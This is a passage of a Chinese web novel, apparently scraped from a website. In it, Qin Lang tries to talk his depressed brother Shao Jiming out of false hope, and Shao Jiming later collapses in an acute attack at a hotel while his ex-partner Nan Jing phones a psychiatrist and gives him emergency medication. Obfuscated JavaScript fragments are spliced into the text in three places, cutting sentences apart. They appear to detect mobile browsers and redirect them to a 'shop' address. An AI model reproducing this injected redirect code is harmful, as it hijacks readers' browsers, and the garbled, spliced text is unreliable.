l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046496|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”邵既明终于说了出来。 秦朗一愣,手里的酒杯停在半空:“谁?南景?”他随即反应过来,能让邵既明这副德行的“他”,除了南景没别人。“哦,又碰到了?点头了还是微笑了?这次没把你当空气?”秦朗心里也松了口气,能说话,总比彻底无视强,说明南景至少维持了基本的风度,没让邵既明太难堪。 “不是……不只是点头。”邵既明的声音依旧发颤,带着一种梦呓般的飘忽,“他……他提醒我,别忘记吃药。” “……”秦朗举到唇边的酒杯顿住了,他足足愣了三秒钟,才消化完这句话里的信息量。 “你说什么?”秦朗放下酒杯,身体微微前倾,“南景?提醒你?吃药?” “嗯。”邵既明用力地应了一声,似乎终于找到了倾诉的出口,语速快了起来,“就是前天,那个研讨会结束的时候,我……我有点不舒服,站在那儿……他经过我身边,看都没看我,就说了一句‘别忘记吃药’,然后就走了……哥,他知道!他知道我在吃药!他记得!他还……提醒我了!” 秦朗听着电话那头弟弟语无伦次的声音,心里像是打翻了五味瓶。他走到落地窗前,看着脚下璀璨却冰冷的城市灯火,半晌没说话。 他能想象出那个场景。南景一定是看到了邵既明状态不对,那副要死不活、强撑着的模样。以南景的性格和如今对邵既明的定位,绝不可能流露出半分多余的关心。那句“别忘记吃药”,大概是他能做到的、最极限的、也最符合他如今“平静陌生人”身份的、一种基于最低限度人道的提醒。就像看到有人差点摔倒,顺手扶一把,但扶完立刻松手,绝不沾染半分。 “然后呢?”秦朗的声音有点干涩,他清了清嗓子,“就说了这一句?没了?” “还……还有一次。”邵既明的声音低了下去,却带着更隐秘的欣喜,“昨天晚宴,签到时候,他……他跟我说‘里面冷气可能有点足’……哥,他是不是……在提醒我注意?我那天脸色是不是特别差?” 秦朗闭了闭眼,心里那点复杂的情绪更浓了。南景这混蛋……不,以南景现在的立场,他做得无可指摘,甚至称得上厚道。但正是这种厚道,这种冷静的、保持距离的、却依旧留存一丝最基本人性温情的提醒,对邵既明这种病人来说,才是最可怕的毒药。它会滋生出无穷无尽的妄想和希望,将邵既明更深地拖入那个“或许还有可能”的泥潭。 “邵既明,”秦朗的声音沉了下来,带着少有的严肃,“你听我说,冷静点。南景说那句话,没有别的意思。就像你走在路上,看到一个人穿得少,随口说句‘今天降温了’一样。是礼貌,是教养,甚至可能只是他随口一句话,说完自己就忘了。跟你邵既明这个人,没有关系,懂吗?” 电话那头瞬间沉默了。只有呼吸声变得粗重起来,带着被泼了冷水的无措和隐约的抗拒。 “我知道你在想什么,”秦朗叹了口气,语气放缓,“你觉得他记得你生病,他关心你吃药,他怕你着凉……是,他可能注意到了。但那是因为他现在对你没有任何私人感情了,所以才能用一种近乎……旁观者的、冷静的态度,做出最符合社会规范的反应。如果他还在意你,恨你,或者对你有任何一点残留的感情,他反而会避开你,无视你,绝不会跟你说这些话。你明白这里面的区别吗?” 邵既明没有回答。秦朗能听见他压抑的抽气声。 “他现在对你,就像对街边一个面熟的、但不会深交的邻居。邻居生病了,提醒一句按时吃药,天冷了说句多穿点,是人之常情。但也就仅此而已了。他不会走进邻居的家门,不会过问邻居的病情,更不会和邻居分享自己的生活。他提醒你,不是因为他想靠近你,恰恰是因为,他和你之间,已经隔着一道清清楚楚、永远不会逾越的界限了。那道界限的名字,叫‘过去’,叫‘翻篇’,叫‘与我无关’。” “可是……他毕竟说了……”邵既明的声音带着哭腔,微弱地反驳。 “是,他说了。”秦朗没有否认,“所以呢?你就靠着这一句话,又能撑多久?又开始不吃不睡,反复琢磨他每个字的语气和眼神?又开始抱着那点可怜的提醒当救命稻草,然后等下一次,他可能连着一个月都不会再跟你说一句话,甚至再次彻底无视你的时候,你再崩溃一次?邵既明,你这样下去,不是被他毁掉,是被你自己毁掉。” 电话那头传来了压抑的哽咽声。 秦朗心里也不好受,但他知道,有些话必须说透。他看着窗外无边的夜色,声音低了下去:“既明,哥问你,如果今天,是路上任何一个陌生人,看到你脸色不好,提醒你一句‘注意身体,记得吃药’,你会像现在这样吗?会激动得睡不着觉,反复回忆,觉得人生又有了希望吗?” 答案不言而喻。 邵既明的哽咽声更大了。 “既明,听话。按时吃药,好好看医生,该工作工作,该休息休息。南景……他就那样了。他能跟你维持这种点头之交,偶尔说句不痛不痒的客套话,已经是你能得到的最好结果了。别再奢望更多,也别再把他任何一句话,往你自己身上套。那只会让你更难受,让你离‘好起来’更远。你要过的,是你自己的人生,不是活在南景偶尔瞥过来的、那点冰冷余光里的人生。懂吗?” 许久,电话那头传来一声带着浓重鼻音的“嗯”。 秦朗知道,邵既明未必真的听进去了,但至少此刻,那阵因南景一句话而起的狂热,被他强行按下去了一些。 “早点睡吧。明天不是还要见医生?”秦朗最后叮嘱了一句,挂了电话。 他站在窗前,将那杯威士忌一饮而尽。辛辣的液体滑过喉咙,却化不开胸口的滞闷。 他想起南景那双平静的眼睛,想起邵既明每次见到南景时那种仿佛用尽全身力气才能维持的“正常”和眼底深处无法掩饰的卑微渴望。 一个早已彻底放下,步履从容。 一个深陷病痛与执念,在绝望的泥沼里,对着偶尔掠过水面的天光,感激涕零,又痛不欲生。 这他妈都叫什么事儿。 秦朗烦躁地抓了抓头发,将空酒杯重重放在桌上。 46. 是你作茧自缚 南景手中最后一个需要他亲自坐镇收尾的基金项目,落地在气候温润的南方沿海城市H市。合同细节、法律文件、最后的资金交割与团队庆功,一系列活动需要他停留数日。周冉的“环游世界第二季”计划表已经洋洋洒洒列了半页纸,正摩拳擦掌,听说南景要去H市,立刻嚷嚷着要跟去“提前考察南方美食与潜点”。 秦朗一听,头皮都炸了。H市?那地方风景宜人,适合度假,以南景那说走就走的脾气和周冉那颗永远躁动的心,这俩人凑一块儿,万一“考察”着考察着,又一时兴起直接买张机票从H市飞往某个未知海岛,他上哪儿找去?上次近两年的“失踪”已经让他心有余悸,差点落下心病。 于是,在南景出发前夜,秦朗直接杀到周冉那边,凭借死皮赖脸,硬是把收拾好小行李箱的周冉,连人带箱子“请”回了自己那套安保严密、且他常驻的顶层公寓。 “秦朗你他妈有病啊!绑架啊?!”周冉被塞进车里时还在踹车门。 “对,有病,相思病,离了你就要发作的绝症!”秦朗锁死车门,一脸无赖,“H市有什么好玩的?下次我陪你去,包个岛慢慢玩!这次南景是去工作,忙得脚不沾地,你跟着去也是干等着,多无聊?留家里,我新请的厨师会做地道的潮汕生腌,还有空运来的蓝鳍金枪鱼,晚上咱们看个电影,我给你按摩……” “滚!谁要你按摩!”周冉气得翻白眼,但挣扎的力道小了些。而且……秦朗公寓那270度的无敌江景和顶配影音室,还有他提到的那几样她确实馋了很久的美食……咳,稍微推迟几天出发,好像也不是不行。 于是,南景得以清净地独自飞往H市。周冉则半推半就地开始了被秦朗“圈养”的短暂日子。 项目的收官活动设在H市地标建筑顶层的一家会员制俱乐部。巨大的弧形落地窗外,是闻名遐迩的海湾夜景,邮轮灯火如星,跨海大桥如璀璨珠链。厅内,衣冠楚楚的金融精英、律所合伙人、企业代表们手持香槟,低声交谈,气氛是成功合作后的松弛与对未来机遇的谨慎乐观。 南景作为核心投资人之一,自然是焦点之一。他穿着浅米色的亚麻西装,内搭简单的白T,在一众深色西装中显得清爽又独特。他正与基金的主要发起人,一位精神矍铄的新加坡籍老先生交谈,态度谦和,但言谈间对行业趋势的洞察,引得老先生频频点头。 然后,就像某种无法摆脱的磁场效应,或者说,在这个圈层里不可避免宿命般的重叠——他在人群中,又一次看到了邵既明。 邵既明似乎刚到,正从侍者盘中接过一杯苏打水。他穿着一身质感极佳的深海蓝西装,衬得脸色愈发苍白,但发型一丝不苟,站姿笔挺,远远看去,竟真有几分昔日那个冷峻邵总的影子。他的目光,在南景出现的瞬间,就不受控制地黏了过去,又在南景若有所感地抬眼望来时,仓皇地、近乎狼狈地移开。 又来了。 南景的视线在那张苍白侧脸上停留了不到半秒,平静地移开,继续与新加坡老先生的谈话。心里不起波澜。这座城市,这个场合,邵既明的出现,都不算意外。只是觉得……有些索然无味。不是情感上的索然无味,而是一种类似重复场景带来的索然无味。像看一部已经知道结局、且并不精彩的电影,却不得不坐在影院里。 活动进入自由交流环节,气氛更松散了些。主办方安排了一个相对私密的小露台区域,供重要嘉宾休息交谈。南景被基金合伙人引着,与另外几位关键人物走了过去。露台更安静,海风带着咸湿的气息拂面,夜景更加壮阔。 邵既明几乎是眼睁睁看着南景消失在连接露台的玻璃门后。那扇门,像一道天堑。他知道自己不该跟过去,那太明显,太逾越。可他控制不住脚步。一种无形的力量,或者说,一种名为“南景”的引力,拉扯着他。朝着露台的方向,慢慢挪了过去。 露台上人不多,三五成群。南景正背对着门口,倚在栏杆边,听着身旁一位外国银行家说话,偶尔点头。月光和远处的灯火勾勒出他清瘦挺拔的轮廓,海风微微吹动他额前的碎发。 邵既明站在玻璃门内的阴影里,没有再往前。这个距离,刚好能看清南景的侧脸,能隐约听到他低沉平稳的嗓音,又不会近到引起注意。 时间在寂静的凝望中缓慢流淌。直到南景似乎结束了与那位银行家的谈话,对方拍了拍他的肩膀离开。南景独自在栏杆边站了一会儿,望着远处的海面,微微侧了侧身。 就在他侧身的瞬间,目光不经意地,扫过了玻璃门内的阴影处。 四目相对。 然后,他看到南景轻轻蹙了一下眉。那蹙眉的弧度极小,转瞬即逝,快得让人以为是光影造成的错觉。但那绝不是愉悦或欢迎的表情。 紧接着,南景移开了视线。 活动临近尾声,人群开始松动,三三两两道别或移步后续的小范围聚会。邵既明不知在阴影里蜷缩了多久,直到腿脚麻木,他才扶着玻璃门,吃力地站起来。眼前仍有细碎的光斑飞舞,耳鸣嗡嗡不止,胸口那种被重物压住的憋闷感并未减轻。他必须立刻回房间,找到那个白色的药盒。 他低着头,脚步虚浮地穿过逐渐空旷的宴会厅,走向电梯间。就在他快要走到时,眼角余光却猛地捕捉到一个画面,那画面映在他本就脆弱不堪的神经末梢上。 不远处相对安静的休息区沙发旁,南景正和一位气质儒雅干练的男士站在一起。那位男士看起来三十出头,笑容温和,正微微倾身,对南景说着什么,眼神专注,带着欣赏与兴趣。南景背对着邵既明的方向,但邵既明能看到他微微侧头倾听的弧度,以及偶尔点头时,后颈线条在灯光下显得柔和放松。那位男士甚至抬手,放在南景的肩膀上,那份自然而生的亲近意图,在邵既明充血的眼睛里,被无限放大、扭曲成刺目的亲密。 脑子里那根名为理智的弦,在这一刻,终于彻底崩断。灼热、暴戾、恐慌和尖锐的嫉妒,如同挣脱牢笼的野兽,咆哮着冲垮了他所有的自制。眼前瞬间蒙上一层血色的薄雾,心脏疯狂擂鼓,撞得胸腔生疼,呼吸变得艰难而急促。耳朵里除了尖锐的鸣响,再也听不见任何外界的声音。他感到一阵剧烈的眩晕,几乎站立不稳。 药!必须吃药!立刻!马上! 这个念头成了他濒临崩溃的意识中唯一的救命指令。他再也顾不得是否会引起注意,猛地转身,几乎是踉跄着、跌撞着冲向电梯间,手指颤抖地用力戳着上行按钮。他能感觉到自己浑身都在无法控制地细密颤抖,冷汗瞬间浸湿了后背的衬衫。 电梯门“叮”声打开,里面空无一人。他几乎是扑了进去,背靠着冰凉的金属壁,才勉强支撑住发软的身体。就在电梯门即将合拢的瞬间,一只手伸了进来,挡住了门。 南景走了进来。 邵既明的身体瞬间僵硬得像块石头,他死死低着头,盯着自己锃亮却仿佛在晃动的鞋尖,不敢抬头,不敢呼吸,甚至不敢动一下睫毛。他能感觉到南景的存在,那熟悉清冽的气息。刚刚看到的那个“亲密”画面,和南景此刻近在咫尺的平静,在他混乱的大脑中疯狂撕扯。他想嘶吼,想质问,想不顾一切地抓住他,摇醒他,告诉他“不!不可以!”,可喉咙里像被水泥封死,只能发出“嗬嗬”的、极其轻微的气音。 南景似乎没有注意到他,或者注意到了,但无意理会。他只是平静地按下了楼层按钮——32层。然后便站到电梯另一侧,目光平淡地看着前方不断跳动的数字。电梯平稳上升,狭小空间里的寂静几乎要将邵既明逼疯。他能听到自己心脏在耳膜上擂鼓般的巨响,能感觉到汗水顺着额角滑落,滴进眼睛里,刺痛,模糊。 “叮。” 32层到了。电梯门滑开。 南景率先走了出去,邵既明也僵硬地跟了出去,依旧低着头,目光死死锁着脚下深色地毯上繁复却令人头晕目眩的花纹。 走廊很长,灯光是暖黄色,却照不散邵既明周身的冰冷和黑暗。他机械地向前走,心里只有一个念头:房间,药。南景走在他前面几步远的地方。 然后,南景在3208号房门前停了下来,拿出房卡。 几乎是同时,邵既明也在自己房间门口停下——3207。两扇厚重的深色木门,静静地相对而立。 这个巧合,压垮了邵既明摇摇欲坠的神经。他猛地抬起头,充血的眼睛死死瞪向对面刚刚刷开房卡、正准备推门而入的南景。 南景似乎察觉到了这道异常强烈的视线,动作顿了顿,转过头来。 四目相对。 这一次,南景的眉头,实实在在地蹙了起来。他什么也没说,但那蹙起的眉头和瞬间变得冷淡的目光,比任何言语都更具杀伤力。 “不是……我没有……”邵既明听到自己嘶哑破碎的声音从喉咙里挤出来,语无伦次。他想说“不是我安排的房间”,想说“我没有跟踪你”,想说“我不是故意的”,可濒临彻底崩溃的精神状态,让他组织不出一句完整的话。脑海里只剩下南景和那个陌生男人“相谈甚欢”、“举止亲密”的画面在疯狂旋转,疯狂搅动着他早已混乱不堪的脑髓。 他再也支撑不住了。哆哆嗦嗦地掏出房卡,因为手抖得厉害,试了几次才对准感应区。“嘀”一声轻响,门锁开了。他用尽最后一丝力气撞开门。 然后,他眼前彻底一黑,天旋地转。 “噗通!” 沉重的闷响。他整个人直接挺地面朝下摔倒在房间入口处柔软却依旧坚硬的地毯上,四肢摊开,一动不动。 门外的南景,在听到那声不寻常的闷响和看到邵既明突然栽倒的瞬间,瞳孔骤缩。什么故意安排、什么避嫌疏离,在这一刻都被抛到了脑后。他一个箭步冲了过来,跨进3207的房间。 “邵既明!”他蹲下身,声音带着急促,伸手想去扶他,“你怎么了?摔到哪里了?” 碰到邵既明身体的瞬间,南景心里一沉。入手一片冰凉,而且那身体正在无法控制地剧烈颤抖,不是摔倒后的疼痛反应,而是一种源自内部癫痫般的痉挛。邵既明脸埋在地毯里,发出压抑破碎的呜咽,泪水早已糊了满脸,混着冷汗,狼狈不堪。他似乎想说什么,嘴唇哆嗦着,却只能吐出断断续续意义不明的音节:“不……不是……药……他……你……别……” 南景用力将他翻过来,让他仰面躺好。邵既明的眼睛是睁着的,但眼神空洞涣散,没有焦点,仿佛灵魂已经抽离,只剩下一具被痛苦和恐惧彻底吞噬的躯壳在无意识地挣扎流泪。他脸上没有血色,嘴唇泛着青紫,呼吸急促而浅乱,胸口剧烈起伏。 这是……发病了。 南景的眉头拧得更紧,但眼神迅速冷静下来。 “邵既明,你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046497|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药呢?平时吃的,或者急救用的?”南景提高音量,试图唤回他一丝神智,同时轻轻拍打他的脸颊,触手冰凉湿滑,“看着我!药放在哪里了?” 邵既明对他的话毫无反应,依旧沉浸在那无边无际的黑暗痛苦和混乱臆想中,泪水不断涌出。但南景拍打他脸颊的动作,似乎触动了某根深藏的神经。他忽然伸出冰冷汗湿、颤抖不止的手,猛地一把死死抓住了南景还停留在他脸侧的手腕!力道大得惊人,指甲甚至掐进了南景的皮肤。 “不……不走……”他喉咙里挤出几个模糊的字眼,眼神依旧空茫,没有看向南景,只是凭借本能死死抓着,仿佛这是他与现实世界、与生命唯一的连接。 南景被他抓得生疼,挣了一下,竟没能立刻挣脱。看着邵既明这副完全失去神智、只凭本能抓住救命稻草的凄惨模样,南景心里那点因为疑似被设计而起的恼意,终究被对人命关天的紧迫感压了下去。他不能放任不管。 他不再试图抽回手,用另一只自由的手,快速而冷静地环顾房间。没有看到其他明显的药品。他的目光落在邵既明扔在门口地毯上的西装外套,以及从里面滑出的手机。 必须联系能帮他的人。医生,或者秦朗。 南景小心地、尽量不刺激到邵既明,用那只自由的手,伸长手臂,够到了地上的手机。屏幕是锁定的。 “邵既明,松一下手,我要用你手机打电话。”南景尽量让声音平稳,试图和他沟通。 邵既明毫无反应,只是抓得更紧,身体颤抖得厉害,呜咽声不断。 南景无奈,只能单手尝试解锁。他先试着输入了几个常见的简单密码,错误。又尝试用邵既明的手指去碰触指纹识别区,但邵既明的手颤抖蜷缩得厉害,根本无法准确贴合。 时间一分一秒过去,邵既明的呼吸似乎更急促了,脸色也越来越差。南景的额头也渗出了细密的汗珠。他盯着手机屏幕,大脑飞速运转。密码……会是什么?邵既明的生日?他试了,错误。公司的成立日?错误。 忽然,一个极其荒谬的念头,闪过南景的脑海。 他犹豫了不到半秒。眼下没有更好的选择。 修长的手指在屏幕上快速点按——那是他自己的生日。 屏幕轻微一震,锁屏图案滑开。解锁成功。 南景看着瞬间进入主界面的手机屏幕,动作有极其短暂的凝滞。他没有让任何情绪在脸上停留,只是极轻地,从喉咙深处逸出一声短促到几乎不存在的叹息。 他迅速点开通讯录,没有直接标注“医生”的。他快速下滑,看到了一个备注为“唐医生(心理)”的联系人。没有犹豫,立刻拨通。 电话响了七八声,就在南景以为无人接听时,终于被接起。那头传来一个温和沉稳的男声:“喂?邵先生?这么晚,是有什么情况吗?” “唐医生?”南景的声音冷静清晰,语速稍快,“我不是邵既明。他情况不对,意识不清,剧烈颤抖,哭泣,无法沟通,看起来像是急性发作。我找到了他的日常药盒,但没有急救药物。请问我现在该怎么做?或者,是否有他随身应该携带的应急药品?” 电话那头的唐医生显然也意识到了情况的严重性,语气立刻严肃起来:“别慌,先生。首先确保他呼吸道通畅,让他侧卧,防止呕吐物窒息。他西装内侧口袋,或者随身行李箱的夹层,仔细找找,应该有一个小号的、橙色的塑料药盒,里面是单独包装的应急药物,劳拉西泮或者类似。如果找不到,或者服药后十分钟没有缓解,请立即拨打120,说明情况,强调是抑郁症急性焦虑发作,可能需要镇静处理。我这边也会立刻联系他在H市的紧急联系人。请问您贵姓?是邵先生的?” “我姓南。”南景简短回答,没有多说。他一边用肩膀和脸颊夹住手机,一边立刻按照医生的指示,费力地引导几乎瘫软颤抖的邵既明侧过身。同时目光快速扫视邵既明身上和周围。终于,在他桌子上看到橙色的小塑料盒。 “找到了,橙色药盒。” “好,取出一片,尽量让他服下。如果无法吞咽,先尝试舌下含服。注意观察他的呼吸和意识。南先生,请保持电话畅通,有任何变化立刻告诉我。” “明白。”南景挂断电话,将那小小的橙色药盒打开,里面是两粒独立的银色包装药片。他撕开一包,将白色的小药片倒在掌心。 此刻的邵既明,依旧死死抓着他的手腕,力气大得像铁钳,眼神空茫地看着天花板,眼泪无声地流,身体间歇性地剧烈颤抖,喉咙里发出困兽般的呜咽。对南景的动作毫无反应。 “邵既明,吃药。”南景沉声说,试图将药片递到他嘴边。 邵既明毫无反应,嘴唇紧闭,甚至因为身体的颤抖而微微哆嗦。 南景抿了抿唇,不再犹豫。他用另一只手用力捏住邵既明的下颌,迫使他的嘴微微张开,然后将药片迅速塞进他舌下。邵既明被这动作刺激,挣扎了一下,呜咽声更大,但南景的手很稳,强迫他合上嘴。 “含着,别吞。”南景低声命令,尽管知道对方可能听不见。 做完这些,他维持着半跪的姿势,手腕还被邵既明死死抓着,另一只手轻轻按在邵既明不断起伏的胸口,感受着他过快过乱的心跳。他不再说话,只是静静地等待着,目光冷静地观察着邵既明的脸色、呼吸和颤抖的频率。 47. 爱,不是道德绑架 掌心里那片小小的白色药片,在舌下渐渐化开,带着微苦和一丝凉意,随着唾液缓慢渗入邵既明混乱的血液。它不像神话中的仙丹能瞬间抚平所有创痛。 剧烈的、无法控制的颤抖首先平息下来,只剩下一阵阵细微生理性的战栗。急促到令人窒息的呼吸逐渐变得深长,虽然依旧带着哽咽后的抽噎,但至少有了节奏。空洞涣散的瞳孔,在漫长的失焦后,极其缓慢地重新开始尝试凝聚。视线先是漫无目的地游移,掠过天花板上模糊的灯影,掠过深色窗帘厚重的褶皱,最后,一点一点,颤抖着,落在了近在咫尺的那张脸上。 南景的脸。在昏暗的房间里,在这样近的距离下,那张脸依旧平静,甚至因为长时间的紧绷而显得有些冷淡,眉头微微锁着。他的手腕还被邵既明死死抓着,那力道比之前小了些,但依旧固执。 邵既明的嘴唇动了动,干裂的唇瓣摩擦,发出轻微的气音。他似乎在确认,在辨认。过了好几秒,那模糊的视线才终于艰难地聚焦在南景的眼睛上。然后,他像是终于确认了这不是幻觉,不是又一个让他痛不欲生的梦境,喉咙里溢出了一声带着巨大委屈哽咽: “南……景……” 南景看着他眼中重新聚起的光,那光里是未干的泪水。他吸了口气,又缓缓吐出。 他没有回答“是我”,也没有问“你好点了吗”。他只是看着邵既明男通红着湿漉漉的眼睛,沉默了几秒,然后说道:“邵既明,你怎么还站在原地。” “我好痛……”邵既明的眼泪瞬间再次汹涌而出,比之前更加肆无忌惮,顺着苍白消瘦的脸颊疯狂滚落,滴在南景还被他抓着的手腕上,冰凉一片。他像个被遗弃在荒野、终于找到归途却已伤痕累累的孩子,语无伦次地哭诉:“南景……我这里好痛……每一天,每一秒……都在痛……像有刀子在搅……像被活活撕开……我吃了药,看了医生,我努力了……我真的努力了……可没有用……看到你,更痛……看不到你,这里就空了,冷得发抖……我忘不掉……我试过了,我试了无数次……可我忘不掉你啊……” 他抓着南景手腕的手,无意识地收紧。另一只冰冷颤抖的手,胡乱地抬起来,想去碰触南景的脸,却在半空中畏缩地停住,只敢虚虚地悬着,指尖颤抖。 “过去的,就让它过去吧。”他垂下眼帘,避开了邵既明那几乎要将他灼穿的目光,犹豫了短暂的一瞬,终究还是抬起那只自由的手,轻轻地拍在了邵既明因为哭泣而不断耸动单薄的肩膀上。 “别活在过去了。该往前看了。” “我忘不掉!我就是忘不掉!”邵既明像是被这句话刺痛,猛地摇头,泪水飞溅。他不再试图去碰南景的脸,而是用那只悬空的手,死死抓住了南景拍在他肩膀后还没来得及完全收回的手,双手一起,紧紧攥住了南景的一只手腕。 “南景……求你了……求求你好不好……别推开我……别像看陌生人一样看我……我知道我错了……我知道我当初混蛋……我知道我让你失望透顶……我可以改……我真的在改……吃药,看病,努力变好……你看,我现在能站起来了,能说话了……我……我会变得很好的……求求你别不要我……别对我这么冷……我受不了……我真的受不了了南景……没有你,我活不下去的……这里……会死的……” 南景的手腕被他双手死死箍着,传来的力道和颤抖清晰无比。他能感受到那双手的冰冷,能看见邵既明脸上肆意横流的泪水,能听见他声音里那种濒临彻底崩溃的绝望。心脏的某个角落,似乎被什么东西极其轻微地撞了一下,泛起几乎可以忽略的酸涩。 他静静地听着,任由邵既明哭诉,抓着。没有抽回手,也没有再拍肩安抚 直到邵既明的哭诉渐渐变成了断断续续筋疲力尽的抽噎,抓着他手腕的力道也因脱力而松懈了些,南景才再次开口。 “邵既明,你听我说。”他顿了顿,确保邵既明涣散的目光勉强聚焦在自己脸上,“我们没有可能了。早就结束了。你的痛,你的病,你的忘不掉,是你需要自己去面对和解决的课题。我帮不了你,也没有义务帮你。我的生活已经往前走了很远,不会为了任何人,尤其是过去的人,停下来,或者回头。” 他看着邵既明瞬间更加惨白的脸和骤然收缩的瞳孔,继续说道:“今晚我在这里,是因为你病了,情况危急,我不能见死不救。但这不代表任何其他含义。等医生或者你家人来了,我的责任就结束了。之后,我们依然是……点头之交的陌生人。你明白吗?” 他抓着南景手腕的手,终于,一点一点地,松开了。 然后,在松开手的瞬间,在最后一点支撑也失去的刹那,他身体猛地向前一倾—— 他伸出双臂,不管不顾地,用尽刚刚恢复的一点点力气,死死地、紧紧地抱住了南景的腰。将脸深深埋进南景胸腹之间。 “哇!!!!” 一声压抑了太久太久、彻底崩溃的嚎啕大哭,终于冲破了所有理智和药物的桎梏,骤然爆发出来。那哭声嘶哑,剧烈,他哭得浑身抽搐,上气不接下气,滚烫的泪水瞬间浸湿了南景的衣衫,温热的湿意透过薄薄的布料,传递到皮肤。 南景的身体,在被紧紧抱住的瞬间,猛地僵直了。他垂眸,看着胸前那颗毛茸茸因为剧烈哭泣不断颤动的脑袋,感受着腰间的禁锢,和胸口迅速蔓延开的湿意。他的手臂僵硬地悬在半空,放下去不是,推开也不是。 房间里只剩下邵既明撕心裂肺仿佛要将五脏六腑都哭出来的哭声,一声声,撞击着墙壁,也撞击着南景一向平静心湖最深处。 许久,南景那僵在半空的手臂,轻轻地,落在了邵既明瘦削的背脊上。 或许是药物的镇定作用终于彻底发挥了效力,又或许是那场耗尽所有心力的恸哭彻底抽干了邵既明最后一丝精神,他紧紧环抱着南景腰身的手臂,力道一点点松懈下来,最终无力地滑落。剧烈的抽噎逐渐变成了断断续续的呜咽,然后,连呜咽也止息了。他整个人软倒在南景怀里,头靠着南景的腿,呼吸变得深长而沉重,脸上泪痕交错,眉头即使在沉睡中也紧紧锁着,像是陷在一个无法挣脱的噩梦深处,终于因精疲力竭而暂时失去了意识。 南景保持着半跪的姿势,没有立刻动。胸前衣料被泪水浸透的地方,传来冰凉的湿意,紧贴着皮肤。腰际似乎还残留着被死死箍住时的力道和颤抖。 就在这时,被他随意放在一旁地毯上的手机,屏幕再次亮起。是那位唐医生。 南景轻轻地将邵既明从自己身上挪开,让他以一个相对舒服的侧卧姿势躺在地毯上,又扯过旁边沙发上的一条薄毯,盖在他身上。然后,他拿起手机,走到窗边,按下了接听键。 “南先生。”唐医生的声音传来,“我已经联系上邵先生的紧急联系人了,对方正在赶来H市的路上。另外,酒店联系的医护人员应该很快会到您房间。在专业人士到达前,还得麻烦您再照看一下邵先生,确保他呼吸道通畅,注意他的呼吸和意识状态。” “好,我会看着。”他顿了顿,目光落在窗外远处海湾明明灭灭的航标灯上,沉默了两秒,开口问道:“唐医生,方便告知一下,他的病……具体是从什么时候开始的?主要原因是什么?目前严重到什么程度?以及……如果,如果一直得不到有效控制,或者……外界刺激持续存在,最坏的结果,可能会怎样?” 电话那头陷入了短暂的沉默。唐医生显然有些意外,也带着职业性的犹豫。病人的详细病史和预后,属于高度隐私,除非得到明确授权或情况特殊,否则不能对外人透露。 但这份沉默只持续了几秒钟。唐医生想起了,秦朗在电话里吼的那句“他问什么你就说什么!别磨叽!”。他轻轻吸了一口气,再开口时,语气变得郑重:“南先生,基于特殊情况,我可以告知您一些非涉密的一般性信息。邵先生的抑郁障碍,大约是在两年半前。诱因是多重、复杂的,但核心与一段重要亲密关系的破裂、以及随之而来的巨大愧疚感、自我否定和丧失感密切相关。” 两年半前。那是他们彻底分开,他准备出国的前夕。 唐医生继续道:“在病情最严重的阶段,大概一年半到两年前,他出现了严重的自杀倾向和自伤行为。情绪极端不稳定,有强烈的解离症状,现实感薄弱。为了防止他伤害自己,有一段时间……不得不采取了一些必要的保护性约束措施,并需要人二十四小时看护。那个阶段,非常危险,也非常艰难。” 一年半到两年前……正是他和周冉刚刚开始在世界上漫游,朋友圈里满是阳光、沙滩和自由气息的时候。而邵既明……被束缚在床上...... “近两年,邵先生的治疗依从性很高,非常配合。这很大程度上得益于……他有了一个明确的精神支撑点。有人告诉他,他必须好起来,必须‘像个正常人’,因为……他在意的人,不会喜欢他‘不像人’的样子。这个念头,支撑着他接受了最难熬的治疗,努力吃饭,努力睡觉,努力在每次崩溃后重新爬起来。” 南景的嘴唇微微抿紧。 “但是,精神疾病的康复, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐医生的话,一句一句,在南景脑海中回放。关于另一个人命运的残酷报告,与他有关,却又被他彻底剥离。 他就那样静静地站着,看了很久。 一声叹息,从他唇边逸出,消散在寂静的空气里。 就在这时,房间门被轻轻叩响,门外传来酒店经理的声音:“南先生?我们是酒店医务室的,还有120的医生也到了。” 南景收回目光,最后看了一眼沉睡的邵既明,然后迈开步子,步伐平稳地走过去,打开了房门。 门外站着几名穿着白大褂的医护人员和酒店工作人员。南景侧身让开,言简意赅:“人在里面,睡了。刚服了应急药物。具体情况,你们可以联系他的心理医生唐医生,或者他的紧急联系人。” 医护人员迅速进入房间,开始检查邵既明的生命体征,进行初步评估。南景就站在门口,安静地看着,确保交接无误。当其中一位医生抬头,似乎想询问他更多细节时,南景只是平静地摇了摇头:“我不是他的家属,也不了解他日常的具体情况。抱歉,帮不上更多忙。这里交给你们了。” 说完,他不再停留,转身,走出了3207房间。 走廊里灯光温暖,地毯柔软。南景走到对面自己的房门口,拿出房卡。 “嘀。” 门锁应声而开。他推门进去,反手关上门,落了锁。 他走到沙发边,有些脱力地坐了下去。长时间保持一个姿势的僵硬和紧绷,此刻才后知后觉地涌上来。他抬起刚才被邵既明死死抓过、甚至掐出浅痕的手腕,在昏暗的光线下看了看,然后放下。又低头,看了看胸前被泪水浸湿、已经半干、留下淡淡水渍的衬衫。 他静坐了几分钟,什么也没想,然后,他站起身,走进浴室,打开了灯。 